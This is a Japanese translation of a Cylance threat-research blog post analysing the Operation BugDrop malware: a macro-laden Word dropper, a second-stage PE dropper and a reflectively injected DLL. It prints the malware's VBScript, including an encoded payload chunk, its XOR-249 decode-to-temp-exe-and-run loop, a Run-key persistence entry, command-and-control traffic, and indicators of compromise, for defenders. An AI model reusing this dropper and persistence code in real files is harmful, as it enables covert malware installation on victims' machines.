【温故知新シリーズ】 脅威のスポットライト:Operation BugDrop

By The Cylance Threat Research Team

温故知新シリーズブログでは、新たな知見を広げるために過去に米国でリリースされたブログを翻訳しています。本ブログ記事は、2017年3月14日に米国で公開された抄訳版です。原文はこちらからご覧頂けます。

概要

今日のマルウェアは多くの場合、ユーザーによる検知とアンチウイルス(AV)製品による検知の両方を回避するための手法を複数使っています。暗号化や難読化など、検知されずにシステムに潜伏し続けるためのさまざまな手法があります。ここでは、ほとんどのエンドポイント防御製品を迂回するために、難読化手法とダイナミックリンクライブラリ(DLL)ロード方法の両方を利用しているマルウェアファミリーを見ていきます。

CyberX Labsは先月、主にウクライナを標的にしていると思われる情報窃取キャンペーン、Operation BugDropに関する記事を発行しました。この記事で分析されているマルウェアのインストールプロセスは複雑で、セキュリティ製品を迂回するために複数の手法が用いられています。

ここでは、このマルウェアの最初の3つのコンポーネントを分析します。

  1. 第1段階:悪意のあるDOCドロッパー
  2. 第2段階:Portable Executable(PE)ドロッパー
  3. 第3段階:DLL永続化コンポーネント

第1段階のMS .DOCドロッパー:

最新の攻撃ベクトルの中で最も一般的なものの1つは、フィッシング電子メールによって悪意のあるMicrosoft Word文書を送信するものです。このような電子メールは多くの場合、ユーザーをだましてマクロセキュリティなどMS Officeに組み込まれたセキュリティ機能の無効化を試みる内容になっています。BugDropもこれに当てはまります。

ユーザーが指示どおりに操作すると、悪意のあるVisual Basicスクリプトが含まれるマクロが実行されます。悪意のある文書としてはダウンローダーの方が一般的ですが、このサンプルはこれとは異なり、独自の手法でペイロードを隠して追加のコンポーネントをディスクにドロップしようとします。第2段階のPEは、実際には前述のVBスクリプトに暗号化されたバイト配列として格納されており、第2段階に入るのにアクティブなネットワーク接続やコマンドアンドコントロールサーバーを必要としません。

このVBスクリプトには次のような16進値のチャンクが48個含まれていて、「body[チャンク番号]」という命名スキームで変数として保存されています。以下に最初のチャンクを示します。説明のためにコメントを追加しています。

"B4A369F9FAF9F9F9FDF9F9F90606F9F941F9F9F9F9F9F9F9B9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F919F9F9F9F7E643F7F94DF034D841F8B534D8AD91908AD9898B969E8B9894D99A989797968DD99B9CD98B8C97D99097D9BDB6AAD994969D9CD7F4F4F3DDF9F9F9F9F9F9F97ECAB25C3AABDC0F3AABDC0F3AABDC0F24F9490F2AABDC0F24F95F0F5BABDC0F1D6DA70F39ABDC0F3AABDD0F65ABDC0F24F9580F14ABDC0F24F9480F3BABDC0F24F94D0F3BABDC0FAB909A913AABDC0FF9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9A9BCF9F9B5F8FDF9BF4AB7A1F9F9F9F9F9F9F9F919F9FAF8F2F8F0F9F965F9F9F9EDFAF9F9F9F9F9E0D4F9F9F9E9F9F9F949F9F9F9F9B9F9F9E9F9F9F9FBF9F9FCF9F9F9F9F9F9F9FCF9F9F9F9F9F9F9F929FAF9F9FDF9F9F9F9F9F9FBF9F979F9F9E9F9F9E9F9F9F9F9E9F9F9E9F9F9F9F9F9F9E9F9F9F9F9F9F9F9F9F9F9F98529F9F9D1F9F9F9F9E9F8F90947FBF9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9D132F9F9B9F9F9F9F9F9F9F9F9F9F9F9F949F9F9C5F8F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9D78D9C818DF9F9F90163F9F9F9E9F9F9F965F9F9F9FDF9F9F9F9F9F9"

その後、これらのチャンクは「body」という名前の変数に再アセンブルされます。

body = body0 + body1 + body2 + body3 + body4 + body5 + body6 + body7 + body8 + body9 + body10 + body11 + body12 + body13 + body14 + body15 + body16 + body17 + body18 + body19 + body20 + body21 + body22 + body23 + body24 + body25 + body26 + body27 + body28 + body29 + body30 + body31 + body32 + body33 + body34 + body35 + body36 + body37 + body38 + body39 + body40 + body41 + body42 + body43 + body44 + body45 + body46 + body47

続いてこのスクリプトは、コードを書き込むためのファイルシステムオブジェクトと、そのオブジェクトのファイル名を作成します。

Set FSO = CreateObject("Scripting.FileSystemObject")          コード書き込みのためにFSOを作成
s = FSO.GetTempName()                                                                   一時ファイルを取得
s = Replace(s, ".tmp", ".exe", , , vbTextCompare)                        拡張子を.tmpから.exeに変更
s = FSO.GetSpecialFolder(2).Path + "\" + s                                変数sにファイルパスおよびファイル名をセットする

このスクリプトは独自の手法によってこのバイトコードを難読化しています。次のように、「for」ループを使用して難読化を解除し、配列として保存しています。

Open s For Binary Access Write As #1                                        難読化を解いたコードを書きむため変数をsをオープンする
n = 1
For i = 1 To Len(body) Step 2
    b = Val("&H" + Mid(body, i, 2))
    a = 249                                                                                              xorの鍵は10進数で249
    b = b Xor a                                                                                        10進数の変数である bは 上の鍵で xorしたもの
    Put #1, n, b                                                                                      resulting 上の値はsの場所nに保存される
    n = n + 1
Next
Close #1
Set WShell = CreateObject("WScript.Shell")
WShell.Run s                                                                                     難読化を解いたコードを実行する

第2段階のPEドロッパー

第2段階のドロッパーは、感染先のコンピューターのドライブに多数のコンポーネントをドロップする役割を持ちます。サイランスのテストでは、次のようなコンポーネントがドロップされました。

BugDrop_1b

これらのコンポーネントをドロップした後、ドロッパーは、CurrentVersion\Runのレジストリキーの1つを編集してWindowsの起動時に毎回起動するようにします。

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run C:\Windows\SysWOW64\rundll “C:\Users\[username]\AppData\Roaming\Microsoft\VSA\ihbrtb43.nlp,RUNNER”

これは、上記のVisual Basicスクリプトに記述された最後の命令の1つによって自動的に実行されます。 

第3段階のDLL永続化コンポーネントと反射型DLLインジェクション

3段階のDLLは、Windowsの次回起動時に実行されます。「Rundll32.exe」を使用して最初のエクスポートである「RUNNER」を呼び出し、続いてこれが「lhbrtb43.nlp.hist」バイナリをメモリにロードします。「lhbrtb43.nlp.hist」は難読化されていますが、実際にはもう1つのDLLで、反射型DLLインジェクションという手法でロードされます。

反射型DLLインジェクションでは、標準のWindowsアプリケーションプログラミングインターフェイス(API)呼び出しを使用せずにDLLをメモリにロードします。これによって、メモリにロードされるDLLを監視するセキュリティ製品を迂回できることもあります。BugDropはこのためにまず、標準のDLLロード方法を使用せずに、難読化したDLL(「lhbrtb43.nlp.hist」)をメモリにロードします。

BugDrop_3

図1. DLL内の永続化DLLをメモリに読み込むセクション

続いて、次のコードによってメモリ内で難読化を解除します。

BugDrop_4

図2. 永続化DLLの難読化解除ループ

最後に、その単一エクスポートを呼び出し、これによって次に説明するネットワークアクティビティを開始します。

ネットワークアクティビティ

Ihbrtb43.nlpの単一エクスポート関数「RUNNER」を呼び出し、リモートサーバーへの送信接続を確立します。テスト時点では、サーバーはアクティブのようでしたが、ペイロードは受信しませんでした。重要な唯一のトラフィックを次に示します。

GET /1Ayg-HAJBFBRU$MTQ4Nzg2NDM4MQ==/ HTTP/1.0
Host: windows-problem-reporting.site88.net
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)

HTTP/1.1 200 OK
Date: Thu, 23 Feb 2017 16:01:59 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
Set-Cookie: siteowner=1; expires=Thu, 30-Mar-2017 09:21:59 GMT; path=/; domain=site88.net
Content-Length: 41
Connection: close
Content-Type: text/html

<html>
<h1>Suck my Rocket!!!</h1>
</html>

ペイロードを取得できなかったことにはさまざまな理由が考えられます。

  • このマルウェアは、特定の地理的な場所からのIPアドレスにのみペイロードで応答できる。
  • 当初BugDropを管理していた人物によってサーバーが登録されていない。
  • マルウェアがテスト環境を解析用サンドボックスであると認識したためペイロードを送信しなかった。
  • CyberXが記事で述べているように、サーバー側の決定ループに人間が存在して、その人物がいつ、どこにペイロードを送信するかを決定している可能性がある。

結論

マルウェア作成者は多くの場合、高度な難読化手法を使用してセキュリティ手順の迂回を試みます。前述した悪意のあるDOCファイルの場合、文書に埋め込まれたVisual Basicスクリプトは、標準的なXOR難読化手法を使ってペイロードを隠しています。ファイルにPortable Executableファイルが埋め込まれていることは簡単にはわからず、リモートサーバーへの要求も実行されませんが、そのどちらもが、悪意があることをうかがわせる決定的証拠になります。

サイランスのエンドポイント防御製品 CylancePROTECT®をご利用のお客様は、 この攻撃からすでに防御 されています。 CylancePROTECTをご利用でない場合、AIベースのソリューションがいかにして未知の新しい脅威を予測・防御できるかについてぜひ サイランスまでお問い合わせください 。

侵入の痕跡(IOC)

SHA-256 ハッシュ:

悪意のあるDOCドロッパー:
997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a

第2段階のPEドロッパー:
f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd

DLL永続化メカニズム:
622b0a781f6e50119816a9b44df1333a7e5b0687e4e74b864942999866aa175b

ファイル名(多様):
悪意のあるDOCドロッパー: 111.exe
第2段階のPEドロッパー: rad7588A.exe
DLL永続化コンポーネント: ihbrtb43.nlp

レジストリの変更:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run C:\Windows\SysWOW64\rundll “C:\Users\[username]\AppData\Roaming\Microsoft\VSA\ihbrtb43.nlp,RUNNER”

URLs/IP アドレス:
hxxp://windows-problem-reporting.site88.net             31.170.162.63

Tags: